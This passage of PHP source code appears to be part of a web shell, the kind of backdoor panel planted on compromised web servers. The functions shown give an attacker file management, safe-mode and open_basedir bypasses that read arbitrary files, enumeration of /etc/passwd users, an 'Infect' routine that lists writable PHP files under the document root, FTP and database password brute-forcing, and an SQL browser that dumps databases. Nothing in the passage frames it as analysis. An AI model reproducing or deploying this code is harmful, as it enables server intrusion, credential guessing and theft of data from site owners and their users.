\n.'<\/td><td><a class=”tooltip” data-tooltip=”Rename” href=”#” onclick=”g(\\’FilesTools\\’,null,\\”.urlencode($f[‘name’]).’\\’, \\’rename\\’)”>R<\/a> <a class=”tooltip” data-tooltip=”Touch” href=”#” onclick=”g(\\’FilesTools\\’,null,\\”.urlencode($f[‘name’]).’\\’, \\’touch\\’)”>T<\/a>’.(($f[‘type’]==’file’)?’ <a class=”tooltip” data-tooltip=”Frame” href=”#” onclick=”g(\\’FilesTools\\’,null,\\”.urlencode($f[‘name’]).’\\’, \\’frame\\’)”>F<\/a> <a class=”tooltip” data-tooltip=”Edit” href=”#” onclick=”g(\\’FilesTools\\’,null,\\”.urlencode($f[‘name’]).’\\’, \\’edit\\’)”>E<\/a> <a class=”tooltip” data-tooltip=”Download” href=”#” onclick=”g(\\’FilesTools\\’,null,\\”.urlencode($f[‘name’]).’\\’, \\’download\\’)”>D<\/a>’:”).'<\/td><\/tr>’;
\n$l = $l?0:1;
\n}
\necho “<tr id=fak><td colspan=7>
\n<input type=hidden name=ne value=”>
\n<input type=hidden name=a value=’FilesMan’>
\n<input type=hidden name=c value='” . htmlspecialchars($GLOBALS[‘cwd’]) .”‘>
\n<input type=hidden name=charset value='”. (isset($_POST[‘charset’])?$_POST[‘charset’]:”).”‘>
\n<label><select name=’p1’>”;
\nif(!empty($_COOKIE[‘act’]) && @count($_COOKIE[‘f’]))
\necho “<option value=’paste’>\u21b3 Paste<\/option>”;
\necho “<option value=’copy’>Copy<\/option><option value=’move’>Move<\/option><option value=’delete’>Delete<\/option>”;
\nif(class_exists(‘ZipArchive’))
\necho “<option value=’zip’>+ zip<\/option><option value=’unzip’>- zip<\/option>”;
\necho “<option value=’tar’>+ tar.gz<\/option>”;
\necho “<\/select><\/label>”;
\nif(!empty($_COOKIE[‘act’]) && @count($_COOKIE[‘f’]) && (($_COOKIE[‘act’] == ‘zip’) || ($_COOKIE[‘act’] == ‘tar’)))
\necho “&nbsp;file name: <input type=text name=p2 value=’hard_” . date(“Ymd_His”) . “.” . ($_COOKIE[‘act’] == ‘zip’?’zip’:’tar.gz’) . “‘>&nbsp;”;
\necho “<input type=’submit’ value=’submit’ style=’margin-left:10px’><\/td><\/tr><\/form><\/table><\/div>”;
\nhardFooter();
\n}
\nfunction actionStringTools() {
\nif(!function_exists(‘hex2bin’)) {function hex2bin($p) {return decbin(hexdec($p));}}
\nif(!function_exists(‘binhex’)) {function binhex($p) {return dechex(bindec($p));}}
\nif(!function_exists(‘hex2ascii’)) {function hex2ascii($p){$r=”;for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
\nif(!function_exists(‘ascii2hex’)) {function ascii2hex($p){$r=”;for($i=0;$i<strlen($p);++$i)$r.= sprintf(‘%02X’,ord($p[$i]));return strtoupper($r);}}
\nif(!function_exists(‘full_urlencode’)) {function full_urlencode($p){$r=”;for($i=0;$i<strlen($p);++$i)$r.= ‘%’.dechex(ord($p[$i]));return strtoupper($r);}}
\n$stringTools = array(
\n‘Base64 encode’ => ‘base64_encode’,
\n‘Base64 decode’ => ‘base64_decode’,
\n‘Url encode’ => ‘urlencode’,
\n‘Url decode’ => ‘urldecode’,
\n‘Full urlencode’ => ‘full_urlencode’,
\n‘md5 hash’ => ‘md5’,
\n‘sha1 hash’ => ‘sha1’,
\n‘crypt’ => ‘crypt’,
\n‘CRC32’ => ‘crc32’,
\n‘ASCII to HEX’ => ‘ascii2hex’,
\n‘HEX to ASCII’ => ‘hex2ascii’,
\n‘HEX to DEC’ => ‘hexdec’,
\n‘HEX to BIN’ => ‘hex2bin’,
\n‘DEC to HEX’ => ‘dechex’,
\n‘DEC to BIN’ => ‘decbin’,
\n‘BIN to HEX’ => ‘binhex’,
\n‘BIN to DEC’ => ‘bindec’,
\n‘String to lower case’ => ‘strtolower’,
\n‘String to upper case’ => ‘strtoupper’,
\n‘Htmlspecialchars’ => ‘htmlspecialchars’,
\n‘String length’ => ‘strlen’,
\n);
\nif(isset($_POST[‘ajax’])) {
\nprototype(md5($_SERVER[‘HTTP_HOST’]).’ajax’, true);
\nob_start();
\nif(in_array($_POST[‘p1’], $stringTools))
\necho $_POST[‘p1’]($_POST[‘p2’]);
\n$temp = “document.getElementById(‘strOutput’).style.display=”;document.getElementById(‘strOutput’).innerHTML='”.addcslashes(htmlspecialchars(ob_get_clean()),”\\n\\r\\t\\\\’\\0″).”‘;\\n”;
\necho strlen($temp), “\\n”, $temp;
\nexit;
\n}
\nif(empty($_POST[‘ajax’])&&!empty($_POST[‘p1’]))
\nprototype(md5($_SERVER[‘HTTP_HOST’]).’ajax’, 0);
\nhardHeader();
\necho ‘<h1>String conversions<\/h1><div class=content>’;
\necho “<form name=’toolsForm’ onSubmit=’if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;’><label><select name=’selectTool’>”;
\nforeach($stringTools as $k => $v)
\necho “<option value='”.htmlspecialchars($v).”‘>”.$k.”<\/option>”;
\necho “<\/select><\/label><input type=’submit’ value=’submit’\/> <input type=checkbox name=ajax value=1 “.(@$_COOKIE[md5($_SERVER[‘HTTP_HOST’]).’ajax’]?’checked’:”).”> send using AJAX<br><textarea name=’input’ style=’margin-top:5px’ class=bigarea>”.(empty($_POST[‘p1’])?”:htmlspecialchars(@$_POST[‘p2′])).”<\/textarea><\/form><pre class=’ml1’ style='”.(empty($_POST[‘p1′])?’display:none;’:”).”margin-top:5px’ id=’strOutput’>”;
\nif(!empty($_POST[‘p1’])) {
\nif(in_array($_POST[‘p1’], $stringTools))echo htmlspecialchars($_POST[‘p1’]($_POST[‘p2′]));
\n}
\necho”<\/pre><\/div><br><h1>Search files:<\/h1><div class=content>
\n<form onsubmit=\\”g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\\”><table cellpadding=’1′ cellspacing=’0′ width=’50%’>
\n<tr><td width=’1%’>Text:<\/td><td><input type=’text’ name=’text’ style=’width:100%’><\/td><\/tr>
\n<tr><td>Path:<\/td><td><input type=’text’ name=’cwd’ value='”. htmlspecialchars($GLOBALS[‘cwd’]) .”‘ style=’width:100%’><\/td><\/tr>
\n<tr><td>Name:<\/td><td><input type=’text’ name=’filename’ value=’*’ style=’width:100%’><\/td><\/tr>
\n<tr><td><\/td><td><input type=’submit’ value=’submit’><\/td><\/tr>
\n<\/table><\/form>”;
\nfunction hardRecursiveGlob($path) {
\nif(substr($path, -1) != ‘\/’)
\n$path.=’\/’;
\n$paths = @array_unique(@array_merge(@glob($path.$_POST[‘p3′]), @glob($path.’*’, GLOB_ONLYDIR)));
\nif(is_array($paths)&&@count($paths)) {
\nforeach($paths as $\u259f) {
\nif(@is_dir($\u259f)){
\nif($path!=$\u259f)
\nhardRecursiveGlob($\u259f);
\n} else {
\nif(empty($_POST[‘p2’]) || @strpos(file_get_contents($\u259f), $_POST[‘p2′])!==false)
\necho “<a href=’#’ onclick=’g(\\”FilesTools\\”,null,\\””.urlencode($\u259f).”\\”, \\”view\\”,\\”\\”)’>”.htmlspecialchars($\u259f).”<\/a><br>”;
\n}
\n}
\n}
\n}
\nif(@$_POST[‘p3’])
\nhardRecursiveGlob($_POST[‘c’]);
\necho “<\/div><br><h1>Search for hash:<\/h1><div class=content>
\n<form method=’post’ target=’_blank’ name=’hf’>
\n<input type=’text’ name=’hash’ style=’width:330px;’><br>
\n<input type=’hidden’ name=’act’ value=’find’\/><br>
\n<input type=’submit’ value=’md5.rednoize.com’ onclick=\\”document.hf.action=’http:\/\/md5.rednoize.com\/?q=’+document.hf.hash.value+’&s=md5′;document.hf.submit()\\”>
\n<input style=’margin-left: 20px;’ type=’submit’ value=’md5decrypter.com’ onclick=\\”document.hf.action=’https:\/\/www.md5decrypter.com\/’;document.hf.submit()\\”><br>
\n<\/form><\/div>”;
\nhardFooter();
\n}
\nfunction actionSafeMode() {
\n$temp=”;
\nob_start();
\nswitch($_POST[‘p1’]) {
\ncase 1:
\n$temp=@tempnam($test, ‘cx’);
\nif(@copy(“compress.zlib:\/\/”.$_POST[‘p2’], $temp)){
\necho @file_get_contents($temp);
\nunlink($temp);
\n} else
\necho ‘Sorry… Can\\’t open file’;
\nbreak;
\ncase 2:
\n$files = glob($_POST[‘p2′].’*’);
\nif( is_array($files) )
\nforeach ($files as $filename)
\necho $filename.”\\n”;
\nbreak;
\ncase 3:
\n$ch = curl_init(“file:\/\/”.$_POST[‘p2’].”\\x00″.SELF_PATH);
\ncurl_exec($ch);
\nbreak;
\ncase 4:
\nini_restore(“safe_mode”);
\nini_restore(“open_basedir”);
\ninclude($_POST[‘p2’]);
\nbreak;
\ncase 5:
\nfor(;$_POST[‘p2’] <= $_POST[‘p3’];$_POST[‘p2’]++) {
\n$uid = @posix_getpwuid($_POST[‘p2’]);
\nif ($uid)
\necho join(‘:’,$uid).”\\n”;
\n}
\nbreak;
\ncase 6:
\nif(!function_exists(‘imap_open’))break;
\n$stream = imap_open($_POST[‘p2’], “”, “”);
\nif ($stream == FALSE)
\nbreak;
\necho imap_body($stream, 1);
\nimap_close($stream);
\nbreak;
\n}
\n$temp = ob_get_clean();
\nhardHeader();
\necho ‘<h1>Safe mode bypass<\/h1><div class=content>’;
\necho ‘<span>Copy (read file)<\/span><form onsubmit=\\’g(null,null,”1″,this.param.value);return false;\\’><input class=”toolsInp” type=text name=param><input type=submit value=”submit”><\/form><br><span>Glob (list dir)<\/span><form onsubmit=\\’g(null,null,”2″,this.param.value);return false;\\’><input class=”toolsInp” type=text name=param><input type=submit value=”submit”><\/form><br><span>Curl (read file)<\/span><form onsubmit=\\’g(null,null,”3″,this.param.value);return false;\\’><input class=”toolsInp” type=text name=param><input type=submit value=”submit”><\/form><br><span>Ini_restore (read file)<\/span><form onsubmit=\\’g(null,null,”4″,this.param.value);return false;\\’><input class=”toolsInp” type=text name=param><input type=submit value=”submit”><\/form><br><span>Posix_getpwuid (“Read” \/etc\/passwd)<\/span><table><form onsubmit=\\’g(null,null,”5″,this.param1.value,this.param2.value);return false;\\’><tr><td>From<\/td><td><input type=text name=param1 value=0><\/td><\/tr><tr><td>To<\/td><td><input type=text name=param2 value=1000><\/td><\/tr><\/table><input type=submit value=”submit”><\/form><br><br><span>Imap_open (read file)<\/span><form onsubmit=\\’g(null,null,”6″,this.param.value);return false;\\’><input type=text name=param><input type=submit value=”submit”><\/form>’;
\nif($temp)
\necho ‘<pre class=”ml1″ style=”margin-top:5px” id=”Output”>’.$temp.'<\/pre>’;
\necho ‘<\/div>’;
\nhardFooter();
\n}
\nfunction actionLogout() {
\nsetcookie(md5($_SERVER[‘HTTP_HOST’]), ”, time() – 3600);
\ndie(“<div align=’center’><div class=’container’><div class=’sky’><div class=’text’>THANK YOU & BYE<\/div><div class=’stars’><\/div><div class=’stars1′><\/div><div class=’stars2′><\/div><div class=’shooting-stars’><\/div><\/div><\/div><\/div>
\n<style>html{height:100%}html body{width:100%;height:100%;margin:0;font-family:Nunito, sans-serif;}.container{display:block;position:relative;width:100%;height:100%;background:linear-gradient(to bottom,#020107 0,#201b46 100%)}.container .text{color:#fff;position:absolute;top:50%;right:50%;margin:-10px -75px 0 0;font-size:20px;font-family:Nunito, sans-serif;font-weight:700}.shooting-stars{z-index:10;width:5px;height:85px;border-top-left-radius:50%;border-top-right-radius:50%;position:absolute;bottom:0;right:0;background:linear-gradient(to top,rgba(255,255,255,0),#fff);animation:animShootingStar 10s linear infinite}@keyframes animStar{from{transform:translateY(0)}to{transform:translateY(-2560px) translateX(-2560px)}}@keyframes animShootingStar{from{transform:translateY(0) translateX(0) rotate(-45deg);opacity:1;height:5px}to{transform:translateY(-2560px) translateX(-2560px) rotate(-45deg);opacity:1;height:800px}}<\/style>
\n<footer id=’det’ style=’position:fixed; left:0px; right:0px; bottom:0px; background:rgb(0,0,0); text-align:center; border-top: 1px solid #ff007e; border-bottom: 1px solid #ff007e’><font face=’Century Gothic’ color=’#ff0048′ size=’5′><font style=’font-size: 10pt’ face=’Century Gothic’><font face=’Tahoma’ color=’#005aff’ size=’2.5′><font color=’#ff007e’><b> \u00a9opy\u00aeight : <\/b><\/font>
\n<marquee scrollamount=’3′ scrolldelay=’60’ width=’80%’><b>Twepl & <a href=’https:\/\/github.com\/mIcHyAmRaNe’>mIcHy<\/a> <\/b><\/marquee> <\/font><\/font><\/font><\/footer>”);
\n}
\nfunction actionSelfRemove() {
\nif($_POST[‘p1’] == ‘yes’)
\nif(@unlink(preg_replace(‘!\\(\\d+\\)\\s.*!’, ”, __FILE__)))
\ndie(‘Shell has been removed’);
\nelse
\necho ‘unlink error!’;
\nif($_POST[‘p1’] != ‘yes’)
\nhardHeader();
\necho ‘<h1>Suicide<\/h1><div class=content>Really want to remove the shell?<br><a href=# onclick=”g(null,null,\\’yes\\’)”>Yes<\/a><\/div>’;
\nhardFooter();
\n}
\nfunction actionInfect() {
\nhardHeader();
\necho ‘<h1>Infect<\/h1><div class=content>’;
\nif($_POST[‘p1’] == ‘infect’) {
\n$target=$_SERVER[‘DOCUMENT_ROOT’];
\nfunction ListFiles($dir) {
\nif($dh = opendir($dir)) {
\n$files = Array();
\n$inner_files = Array();
\nwhile($file = readdir($dh)) {
\nif($file != “.” && $file != “..”) {
\nif(is_dir($dir . “\/” . $file)) {
\n$inner_files = ListFiles($dir . “\/” . $file);
\nif(is_array($inner_files)) $files = array_merge($files, $inner_files);
\n} else {
\narray_push($files, $dir . “\/” . $file);
\n}
\n}
\n}
\nclosedir($dh);
\nreturn $files;
\n}
\n}
\nforeach (ListFiles($target) as $key=>$file){
\n$nFile = substr($file, -4, 4);
\nif($nFile == “.php” ){
\nif(($file<>$_SERVER[‘DOCUMENT_ROOT’].$_SERVER[‘PHP_SELF’])&&(is_writeable($file))){
\necho “$file<br>”;
\n$i++;
\n}
\n}
\n}
\necho “<font color=#a10705 size=14>$i<\/font>”;
\n}else{
\necho “<form method=post><input type=submit value=Infect name=infet><\/form>”;
\necho ‘Really want to infect the server?&nbsp;<a href=# onclick=”g(null,null,\\’infect\\’)”>Yes<\/a><\/div>’;
\n}
\nhardFooter();
\n}
\nfunction actionBruteforce() {
\nhardHeader();
\nif( isset($_POST[‘proto’]) ) {
\necho ‘<h1>Results<\/h1><div class=content><span>Type:<\/span> ‘.htmlspecialchars($_POST[‘proto’]).’ <span>Server:<\/span> ‘.htmlspecialchars($_POST[‘server’]).'<br>’;
\nif( $_POST[‘proto’] == ‘ftp’ ) {
\nfunction bruteForce($ip,$port,$login,$pass) {
\n$fp = @ftp_connect($ip, $port?$port:21);
\nif(!$fp) return false;
\n$res = @ftp_login($fp, $login, $pass);
\n@ftp_close($fp);
\nreturn $res;
\n}
\n} elseif( $_POST[‘proto’] == ‘mysql’ ) {
\nfunction bruteForce($ip,$port,$login,$pass) {
\n$res = @mysql_connect($ip.’:’.($port?$port:3306), $login, $pass);
\n@mysql_close($res);
\nreturn $res;
\n}
\n} elseif( $_POST[‘proto’] == ‘pgsql’ ) {
\nfunction bruteForce($ip,$port,$login,$pass) {
\n$str = “host='”.$ip.”‘ port='”.$port.”‘ user='”.$login.”‘ password='”.$pass.”‘ dbname=postgres”;
\n$res = @pg_connect($str);
\n@pg_close($res);
\nreturn $res;
\n}
\n}
\n$success = 0;
\n$attempts = 0;
\n$server = explode(“:”, $_POST[‘server’]);
\nif($_POST[‘type’] == 1) {
\n$temp = @file(‘\/etc\/passwd’);
\nif( is_array($temp) )
\nforeach($temp as $line) {
\n$line = explode(“:”, $line);
\n++$attempts;
\nif( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
\n$success++;
\necho ‘<b>’.htmlspecialchars($line[0]).'<\/b>:’.htmlspecialchars($line[0]).'<br>’;
\n}
\nif(@$_POST[‘reverse’]) {
\n$tmp = “”;
\nfor($i=strlen($line[0])-1; $i>=0; –$i)
\n$tmp .= $line[0][$i];
\n++$attempts;
\nif( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
\n$success++;
\necho ‘<b>’.htmlspecialchars($line[0]).'<\/b>:’.htmlspecialchars($tmp);
\n}
\n}
\n}
\n} elseif($_POST[‘type’] == 2) {
\n$temp = @file($_POST[‘dict’]);
\nif( is_array($temp) )
\nforeach($temp as $line) {
\n$line = trim($line);
\n++$attempts;
\nif( bruteForce($server[0],@$server[1], $_POST[‘login’], $line) ) {
\n$success++;
\necho ‘<b>’.htmlspecialchars($_POST[‘login’]).'<\/b>:’.htmlspecialchars($line).'<br>’;
\n}
\n}
\n}
\necho “<span>Attempts:<\/span> $attempts <span>Success:<\/span> $success<\/div><br>”;
\n}
\necho ‘<h1>FTP bruteforce<\/h1><div class=content><table><form method=post><tr><td><span>Type<\/span><\/td>’
\n.'<td><label><select name=proto><option value=ftp>FTP<\/option><option value=mysql>MySql<\/option><option value=pgsql>PostgreSql<\/option><\/select><\/label><\/td><\/tr><tr><td>’
\n.'<input type=hidden name=c value=”‘.htmlspecialchars($GLOBALS[‘cwd’]).'”>’
\n.'<input type=hidden name=a value=”‘.htmlspecialchars($_POST[‘a’]).'”>’
\n.'<input type=hidden name=charset value=”‘.htmlspecialchars($_POST[‘charset’]).'”>’
\n.'<input type=hidden name=ne value=””>’
\n.'<span>Server:port<\/span><\/td>’
\n.'<td><input type=text name=server value=”127.0.0.1″><\/td><\/tr>’
\n.'<tr><td><span>Brute type<\/span><\/td>’
\n.'<td><input type=radio name=type value=”1″ checked> \/etc\/passwd<\/td><\/tr>’
\n.'<tr><td><\/td><td style=”padding-left:15px”><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)<\/td><\/tr>’
\n.'<tr><td><\/td><td><input type=radio name=type value=”2″> Dictionary<\/td><\/tr>’
\n.'<tr><td><\/td><td><table style=”padding-left:15px”><tr><td><span>Login<\/span><\/td>’
\n.'<td><input type=text name=login value=”root”><\/td><\/tr>’
\n.'<tr><td><span>Dictionary<\/span><\/td>’
\n.'<td><input type=text name=dict value=”‘.htmlspecialchars($GLOBALS[‘cwd’]).’passwd.dic”><\/td><\/tr><\/table>’
\n.'<\/td><\/tr><tr><td><\/td><td><input type=submit value=”submit”><\/td><\/tr><\/form><\/table>’;
\necho ‘<\/div>’;
\nhardFooter();
\n}
\nfunction actionSql() {
\nclass DbClass {
\nvar $type;
\nvar $link;
\nvar $res;
\nfunction __construct($type) {
\n$this->type = $type;
\n}
\nfunction connect($host, $user, $pass, $dbname){
\nswitch($this->type) {
\ncase ‘mysql’:
\nif( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
\nbreak;
\ncase ‘pgsql’:
\n$host = explode(‘:’, $host);
\nif(!$host[1]) $host[1]=5432;
\nif( $this->link = @pg_connect(“host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname”) ) return true;
\nbreak;
\n}
\nreturn false;
\n}
\nfunction selectdb($db) {
\nswitch($this->type) {
\ncase ‘mysql’:
\nif (@mysql_select_db($db))return true;
\nbreak;
\n}
\nreturn false;
\n}
\nfunction query($str) {
\nswitch($this->type) {
\ncase ‘mysql’:
\nreturn $this->res = @mysql_query($str);
\nbreak;
\ncase ‘pgsql’:
\nreturn $this->res = @pg_query($this->link,$str);
\nbreak;
\n}
\nreturn false;
\n}
\nfunction fetch() {
\n$res = func_num_args()?func_get_arg(0):$this->res;
\nswitch($this->type) {
\ncase ‘mysql’:
\nreturn @mysql_fetch_assoc($res);
\nbreak;
\ncase ‘pgsql’:
\nreturn @pg_fetch_assoc($res);
\nbreak;
\n}
\nreturn false;
\n}
\nfunction listDbs() {
\nswitch($this->type) {
\ncase ‘mysql’:
\nreturn $this->query(“SHOW databases”);
\nbreak;
\ncase ‘pgsql’:
\nreturn $this->res = $this->query(“SELECT datname FROM pg_database WHERE datistemplate!=’t'”);
\nbreak;
\n}
\nreturn false;
\n}
\nfunction listTables() {
\nswitch($this->type) {
\ncase ‘mysql’:
\nreturn $this->res = $this->query(‘SHOW TABLES’);
\nbreak;
\ncase ‘pgsql’:
\nreturn $this->res = $this->query(“select table_name from information_schema.tables where table_schema != ‘information_schema’ AND table_schema != ‘pg_catalog'”);
\nbreak;
\n}
\nreturn false;
\n}
\nfunction error() {
\nswitch($this->type) {
\ncase ‘mysql’:
\nreturn @mysql_error();
\nbreak;
\ncase ‘pgsql’:
\nreturn @pg_last_error();
\nbreak;
\n}
\nreturn false;
\n}
\nfunction setCharset($str) {
\nswitch($this->type) {
\ncase ‘mysql’:
\nif(function_exists(‘mysql_set_charset’))
\nreturn @mysql_set_charset($str, $this->link);
\nelse
\n$this->query(‘SET CHARSET ‘.$str);
\nbreak;
\ncase ‘pgsql’:
\nreturn @pg_set_client_encoding($this->link, $str);
\nbreak;
\n}
\nreturn false;
\n}
\nfunction loadFile($str) {
\nswitch($this->type) {
\ncase ‘mysql’:
\nreturn $this->fetch($this->query(“SELECT LOAD_FILE(‘”.addslashes($str).”‘) as file”));
\nbreak;
\ncase ‘pgsql’:
\n$this->query(“CREATE TABLE hard2(file text);COPY hard2 FROM ‘”.addslashes($str).”‘;select file from hard2;”);
\n$r=array();
\nwhile($i=$this->fetch())
\n$r[] = $i[‘file’];
\n$this->query(‘drop table hard2’);
\nreturn array(‘file’=>implode(“\\n”,$r));
\nbreak;
\n}
\nreturn false;
\n}
\nfunction dump($table, $fp = false) {
\nswitch($this->type) {
\ncase ‘mysql’:
\n$res = $this->query(‘SHOW CREATE TABLE `’.$table.’`’);
\n$create = mysql_fetch_array($res);
\n$sql = $create[1].”;\\n”;
\nif($fp) fwrite($fp, $sql); else echo($sql);
\n$this->query(‘SELECT * FROM `’.$table.’`’);
\n$i = 0;
\n$head = true;
\nwhile($\u259f = $this->fetch()) {
\n$sql = ”;
\nif($i % 1000 == 0) {
\n$head = true;
\n$sql = “;\\n\\n”;
\n}
\n$columns = array();
\nforeach($\u259f as $k=>$v) {
\nif($v === null)
\n$\u259f[$k] = “NULL”;
\nelseif(is_int($v))
\n$\u259f[$k] = $v;
\nelse
\n$\u259f[$k] = “‘”.@mysql_real_escape_string($v).”‘”;
\n$columns[] = “`”.$k.”`”;
\n}
\nif($head) {
\n$sql .= ‘INSERT INTO `’.$table.’` (‘.implode(“, “, $columns).”) VALUES \\n\\t(“.implode(“, “, $\u259f).’)’;
\n$head = false;
\n} else
\n$sql .= “\\n\\t,(“.implode(“, “, $\u259f).’)’;
\nif($fp) fwrite($fp, $sql); else echo($sql);
\n$i++;
\n}
\nif(!$head)
\nif($fp) fwrite($fp, “;\\n\\n”); else echo(“;\\n\\n”);
\nbreak;
\ncase ‘pgsql’:
\n$this->query(‘SELECT * FROM ‘.$table);
\nwhile($\u259f = $this->fetch()) {
\n$columns = array();
\nforeach($\u259f as $k=>$v) {
\n$\u259f[$k] = “‘”.addslashes($v).”‘”;
\n$columns[] = $k;
\n}
\n$sql = ‘INSERT INTO ‘.$table.’ (‘.implode(“, “, $columns).’) VALUES (‘.implode(“, “, $\u259f).’);’.”\\n”;
\nif($fp) fwrite($fp, $sql); else echo($sql);
\n}
\nbreak;
\n}
\nreturn false;
\n}
\n};
\n$db = new DbClass($_POST[‘type’]);
\nif((@$_POST[‘p2′]==’download’) && (@$_POST[‘p1′]!=’select’)) {
\n$db->connect($_POST[‘sql_host’], $_POST[‘sql_login’], $_POST[‘sql_pass’], $_POST[‘sql_base’]);
\n$db->selectdb($_POST[‘sql_base’]);
\nswitch($_POST[‘charset’]) {
\ncase “Windows-1251”: $db->setCharset(‘cp1251’); break;
\ncase “UTF-8”: $db->setCharset(‘utf8’); break;
\ncase “KOI8-R”: $db->setCharset(‘koi8r’); break;
\ncase “KOI8-U”: $db->setCharset(‘koi8u’); break;
\ncase “cp866”: $db->setCharset(‘cp866’); break;
\n}
\nif(empty($_POST[‘file’])) {
\nob_start(“ob_gzhandler”, 4096);
\nheader(“Content-Disposition: attachment; filename=dump.sql”);
\nheader(“Content-Type: text\/plain”);
\nforeach($_POST[‘tbl’] as $v)
\n$db->dump($v);
\nexit;
\n} elseif($fp = @fopen($_POST[‘file’], ‘w’)) {
\nforeach($_POST[‘tbl’] as $v)
\n$db->dump($v, $fp);
\nfclose($fp);
\nunset($_POST[‘p2’]);
\n} else
\ndie(‘<script>alert(“Error! Can\\’t open file”);window.history.back(-1)<\/script>’);
\n}
\nhardHeader();
\necho ”
\n<h1>Sql browser<\/h1><div class=content>
\n<form name=’sf’ method=’post’ onsubmit=’fs(this);’><table cellpadding=’2′ cellspacing=’0′><tr>
\n<td>Type<\/td><td>Host<\/td><td>Login<\/td><td>Password<\/td><td>Database<\/td><td><\/td><\/tr><tr>
\n<input type=hidden name=ne value=”><input type=hidden name=a value=Sql><input type=hidden name=p1 value=’query’><input type=hidden name=p2 value=”><input type=hidden name=c value='”. htmlspecialchars($GLOBALS[‘cwd’]) .”‘><input type=hidden name=charset value='”. (isset($_POST[‘charset’])?$_POST[‘charset’]:”) .”‘>
\n<td><label><select name=’type’><option value=’mysql’ “;
\nif(@$_POST[‘type’]==’mysql’)echo ‘selected’;
\necho “>MySql<\/option><option value=’pgsql’ “;
\nif(@$_POST[‘type’]==’pgsql’)echo ‘selected’;
\necho “>PostgreSql<\/option><\/select><\/label><\/td>
\n<td><input type=text name=sql_host value=\\””. (empty($_POST[‘sql_host’])?’localhost’:htmlspecialchars($_POST[‘sql_host’])) .”\\”><\/td>
\n<td><input type=text name=sql_login value=\\””. (empty($_POST[‘sql_login’])?’root’:htmlspecialchars($_POST[‘sql_login’])) .”\\”><\/td>
\n<td><input type=text name=sql_pass value=\\””. (empty($_POST[‘sql_pass’])?”:htmlspecialchars($_POST[‘sql_pass’])) .”\\” required><\/td><td>”;
\n$tmp = “<input type=text name=sql_base value=”>”;
\nif(isset($_POST[‘sql_host’])){
\nif($db->connect($_POST[‘sql_host’], $_POST[‘sql_login’], $_POST[‘sql_pass’], $_POST[‘sql_base’])) {
\nswitch($_POST[‘charset’]) {
\ncase “Windows-1251”: $db->setCharset(‘cp1251’); break;
\ncase “UTF-8”: $db->setCharset(‘utf8’); break;
\ncase “KOI8-R”: $db->setCharset(‘koi8r’); break;
\ncase “KOI8-U”: $db->setCharset(‘koi8u’); break;
\ncase “cp866”: $db->setCharset(‘cp866’); break;
\n}
\n$db->listDbs();
\necho “<label><select name=sql_base><option value=”><\/option>”;
\nwhile($\u259f = $db->fetch()) {
\nlist($key, $value) = each($\u259f);
\necho ‘<option value=”‘.$value.'” ‘.($value==$_POST[‘sql_base’]?’selected’:”).’>’.$value.'<\/option>’;
\n}
\necho ‘<\/select><\/label>’;
\n}
\nelse echo $tmp;
\n}else
\necho $tmp;
\necho “<\/td>
\n<td><input type=submit value=’submit’ onclick=’fs(d.sf);’><\/td>
\n<td><input type=checkbox name=sql_count value=’on'” . (empty($_POST[‘sql_count’])?”:’ checked’) . “> count the number of rows<\/td>
\n<\/tr>
\n<\/table>
\n<script>
\ns_db='”.@addslashes($_POST[‘sql_base’]).”‘;
\nfunction fs(f) {
\nif(f.sql_base.value!=s_db) { f.onsubmit = function() {};
\nif(f.p1) f.p1.value=”;
\nif(f.p2) f.p2.value=”;
\nif(f.p3) f.p3.value=”;
\n}
\n}
\nfunction st(t,l) {
\nd.sf.p1.value = ‘select’;
\nd.sf.p2.value = t;
\nif(l && d.sf.p3) d.sf.p3.value = l;
\nd.sf.submit();
\n}
\nfunction is() {
\nfor(i=0;i<d.sf.elements[‘tbl[]’].length;++i)
\nd.sf.elements[‘tbl[]’][i].checked = !d.sf.elements[‘tbl[]’][i].checked;
\n}
\n<\/script>”;
\nif(isset($db) && $db->link){
\necho “<br\/><table width=100% cellpadding=2 cellspacing=0>”;
\nif(!empty($_POST[‘sql_base’])){
\n$db->selectdb($_POST[‘sql_base’]);
\necho “<tr><td width=1 style=’border-top:2px solid #666;’><span>Tables:<\/span><br><br>”;
\n$tbls_res = $db->listTables();
\nwhile($\u259f = $db->fetch($tbls_res)) {
\nlist($key, $value) = each($\u259f);
\nif(!empty($_POST[‘sql_count’]))
\n$n = $db->fetch($db->query(‘SELECT COUNT(*) as n FROM ‘.$value.”));
\n$value = htmlspecialchars($value);
\necho “<nobr><input type=’checkbox’ name=’tbl[]’ value='”.$value.”‘>&nbsp;<a href=# onclick=\\”st(‘”.$value.”‘,1)\\”>”.$value.”<\/a>” . (empty($_POST[‘sql_count’])?’&nbsp;’:” <small>({$n[‘n’]})<\/small>”) . “<\/nobr><br>”;
\n}
\necho “<input type=’checkbox’ onclick=’is();’> <input type=submit value=’Dump’ onclick=’document.sf.p2.value=\\”download\\”;document.sf.submit();’><br>File path:<input type=text name=file value=’dump.sql’><\/td><td style=’border-top:2px solid #666;’>”;
\nif(@$_POST[‘p1’] == ‘select’) {
\n$_POST[‘p1’] = ‘query’;
\n$_POST[‘p3’] = $_POST[‘p3’]?$_POST[‘p3’]:1;
\n$db->query(‘SELECT COUNT(*) as n FROM ‘ . $_POST[‘p2’]);
\n$num = $db->fetch();
\n$pages = ceil($num[‘n’] \/ 30);
\necho “<script>d.sf.onsubmit=function(){st(\\”” . $_POST[‘p2’] . “\\”, d.sf.p3.value)}<\/script><span>”.$_POST[‘p2’].”<\/span> ({$num[‘n’]} records) Page # <input type=text name=’p3′ value=” . ((int)$_POST[‘p3’]) . “>”;
\necho ” of $pages”;
\nif($_POST[‘p3’] > 1)
\necho ” <a href=# onclick=’st(\\”” . $_POST[‘p2’] . ‘”, ‘ . ($_POST[‘p3′]-1) . “)’>&lt; Prev<\/a>”;
\nif($_POST[‘p3’] < $pages)
\necho ” <a href=# onclick=’st(\\”” . $_POST[‘p2’] . ‘”, ‘ . ($_POST[‘p3′]+1) . “)’>Next &gt;<\/a>”;
\n$_POST[‘p3’]–;
\nif($_POST[‘type’]==’pgsql’)
